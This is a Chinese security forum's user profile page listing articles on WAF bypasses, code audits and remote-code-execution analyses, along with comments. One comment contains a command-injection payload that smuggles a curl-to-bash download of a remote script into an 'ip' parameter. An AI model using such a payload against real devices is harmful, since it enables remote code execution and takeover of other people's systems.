DAFSEC http://www.dafsec.org/
UID 72568
—本季赏金
—累计赏金
9发布文章
4粉丝
贡献热力图
最近 52 周 · 共 0 次贡献
0
最近 52 周贡献次数
52 周前
少 多
今日最近活动
最近 20 条
2021
11月
发布了文章 某IP设备代码审计
评论了 实现server酱同款微信推送
修改成 "io/ioutil" 就OK了。
评论了 棋牌站人人得而诛之
打码严谨点吧。你的CS地址都暴漏了。
2021
4月
发布了文章 记一次刨根问底的HTTP包WAF绕过
发布了文章 Nginx_lua 100参数绕过原理详解
2021
1月
发布了文章 jumpserver远程代码执行漏洞分析
的有actionscript mac=1&ip=`curl http://155.94.154.207:8080/help.sh |bash`
@SINFVNCTION mac=1&ip=curl http://114.114.114.114:8080/help.sh |bash
发布了文章 锐捷网关系列通杀GetShell代码分析
2020
9月
评论了 记一次偶遇Adminer
发布了文章 libinjection 语义分析通用绕过分析
2020
8月
评论了 实战绕过双重waf结合sqlmap tamper获取数据
好几个月前测试这个waf 。改改from-data 那些东西就可以过了。 然后你的图漏点了。
2019
8月
2018
11月
2018
9月
2018
8月
@kkkkkkk 谁知道娱乐之后,就有了凭空猜flag 的剧情了。
@kkkkkkk 大佬我都不知道你要怼啥。 首先第一个双色球,给你说明一下: 那个分离图片的第一步就是分离出了png 得到key 的值啊、二进制解出来的是后面跟着一大堆的hhhhhhhhhh 那么多h…
@kkkkkkk https://github.com/QLDKEJI/web
